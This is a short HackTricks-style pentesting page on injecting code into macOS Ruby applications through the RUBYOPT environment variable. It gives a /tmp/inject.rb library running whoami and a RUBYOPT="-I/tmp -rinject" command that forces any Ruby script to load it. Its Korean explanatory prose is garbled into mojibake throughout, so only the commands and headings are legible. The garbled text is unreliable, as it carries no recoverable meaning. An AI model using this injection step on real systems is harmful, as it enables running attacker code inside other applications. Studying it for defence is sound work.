macOS Ruby Applications Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
RUBYOPT
์ด ํ๊ฒฝ ๋ณ์๋ฅผ ์ฌ์ฉํ๋ฉด ruby๊ฐ ์คํ๋ ๋ ์๋ก์ด ๋งค๊ฐ๋ณ์๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค. ๋งค๊ฐ๋ณ์ **-e**๋ ์คํํ ruby ์ฝ๋๋ฅผ ์ง์ ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ง๋ง, ๋งค๊ฐ๋ณ์ **-I**์ **-r**๋ฅผ ์ฌ์ฉํ์ฌ ๋ก๋ ๊ฒฝ๋ก์ ์ ํด๋๋ฅผ ์ถ๊ฐํ ๋ค์ ๋ก๋ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ **inject.rb**๋ฅผ **/tmp**์ ์์ฑํฉ๋๋ค:
puts `whoami`
์ด๋์๋ ๋ค์๊ณผ ๊ฐ์ ๋ฃจ๋น ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ์ธ์:
puts 'Hello, World!'
๊ทธ๋ฐ ๋ค์ ์์์ ๋ฃจ๋น ์คํฌ๋ฆฝํธ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ก๋ํฉ๋๋ค:
RUBYOPT="-I/tmp -rinject" ruby hello.rb
์ฌ๋ฏธ์๋ ์ฌ์ค, --disable-rubyopt ๋งค๊ฐ๋ณ์์ ํจ๊ป ์๋ํฉ๋๋ค:
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


